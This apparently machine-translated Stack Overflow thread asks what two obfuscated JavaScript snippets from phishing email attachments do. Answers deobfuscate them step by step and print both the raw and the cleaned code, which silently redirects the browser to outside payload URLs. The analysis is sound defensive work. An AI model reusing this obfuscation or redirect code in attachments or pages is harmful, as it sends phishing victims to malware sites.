2010-06-11 79 views
4

我刚刚发现了一个垃圾邮件发送者是从我们的域名发送电子邮件,假装我们说:这个Javascript是做什么的?

尊敬的客户,

此电子邮件是由ourwebsite.com 发通知您我们暂时拒绝访问您的帐户 。

我们有理由相信您的 帐户可能已被其他人访问 。请运行附件 并按照说明操作。

(C)ourwebsite.com(我改变了)

附加的文件具有以下JavaScript的HTML文件:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> 

另一封电子邮件有这样的:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> 

任何人都可以告诉我它做了什么吗?因此,我们可以看到,如果我们有一个漏洞,如果我们需要告诉我们的客户吧......

感谢

回答

5

答:

脚本执行

document.location.href = "http://mvblaw.com/z.htm"; //Evil site (I assume) 

它还包含大量无用的行来隐藏脚本的真实目的。

分析

在这里它被解压缩。

function mD() {}; 
this.aB = 43719; 
mD.prototype = { 
    i: function() { 
     var w = new Date(); 
     this.j = ''; 
     var x = function() {}; 
     var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, ''); 
     var d = new Date(); 
     y = ""; 
     aL = ""; 
     var f = document; 
     var s = function() {}; 
     this.yE = ""; 
     aN = ""; 
     var dL = ''; 
     var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 
     this.v = "v"; 
     var q = 27427; 
     var m = new Date(); 
     iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 
     dE = ''; 
     k = ""; 
     var qY = function() {}; 
    } 
}; 
xO = false; 
var b = new mD(); 
yY = ""; 
b.i(); 
this.xT = ''; 

清理迷惑和添加有意义的名字,就变成

function TempClass() {}; 
this.aB = 43719; 
TempClass.prototype = { 
    doIt: function() { 
     var w = new Date(); 
     this.j = ''; 
     var x = function() {}; 
     var a = "http://mvblaw.com/z.htm"; //Evil site (I assume) 

     var d = new Date(); 
     y = ""; 
     aL = ""; 
     var f = document; 
     var s = function() {}; 
     this.yE = ""; 
     aN = ""; 
     var dL = ''; 
     var iD = f['location']; 
     this.v = "v"; 
     var q = 27427; 
     var m = new Date(); 
     iD['href'] = a; 
     dE = ''; 
     k = ""; 
     var qY = function() {}; 
    } 
}; 
xO = false; 
var b = new TempClass(); 
yY = ""; 
b.doIt(); 
this.xT = ''; 

删除所有无用线,就成了

function TempClass() {}; 

TempClass.prototype = { 
    doIt: function() { 
     var a = "http://mvblaw.com/z.htm"; //Evil site (I assume) 

     var f = document; 
     var iD = f['location']; 
     iD['href'] = a; 
    } 
}; 

var b = new TempClass(); 
b.doIt(); 
+0

http:// mvblaw。在regexp之后的com/z.htm。它似乎要做的就是重定向到该地址。 – Glenn 2010-06-11 01:26:15

+0

链接已关闭(标准Apache 404);你不需要担心它。 – SLaks 2010-06-11 01:28:03

+0

所以你不认为这个目标特别是我们的网站呢?这只是一个通用的电子邮件,他们使用我们的名字? – 2010-06-11 01:29:54

3

没有天才,他们:

hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, ''); 

h t t p :// m v b l a w . c o m/z . h t m 


f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 

    l o c a t i o n 

iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 

    h r e f 

甚至没有需要通过正则表达式运行它:)

我会假设他们黑客mvblaw并偷偷在那里有效载荷页面。任何有VM的人都想看看它做了什么?

+0

它似乎是第二个脚本发送到lendermedia。 com/images/z.htm,这是一家加拿大药店,它也试图加载一些java代码。 – 2010-06-11 01:29:23

0

基本上,它似乎设置(document['location'])['href'](或,在正常说话,document.location.href)至http://mvblaw.com/z.htm

混淆代码非常简单,只需用什么代替噪声字符:

var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, ''); 
    // a = http://mvblaw.com/z.htm 
var f=document; 
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 
    // iD = document.location 
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 
    // document.location.href = a (the URL above). 
3

的脚本已的无用的东西很多只是为了制造混乱,剧本的主要部件:

function mD() {}; 
mD.prototype = { 
    i: function() { 
    // read between every two letters: 
    var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg' 
       .replace(/[gJG,\<]/g, ''); 
    var f = document; 
    var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 
    iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 
    } 
}; 
var b = new mD(); 
b.i(); 

如果我们清理更多:

function mD() {}; 
mD.prototype = { 
    i: function() { 
    var a = 'http://mvblaw.com/z.htm'; 
    var f = document; 
    var iD = f['location']; 
    iD['href'] = a; 
    } 
}; 
var b = new mD(); 
b.i(); 

以及更多:

function mD() {}; 
mD.prototype = { 
    i: function() { 
    document.location.href = 'http://mvblaw.com/z.htm'; 
    } 
}; 
var b = new mD(); 
b.i();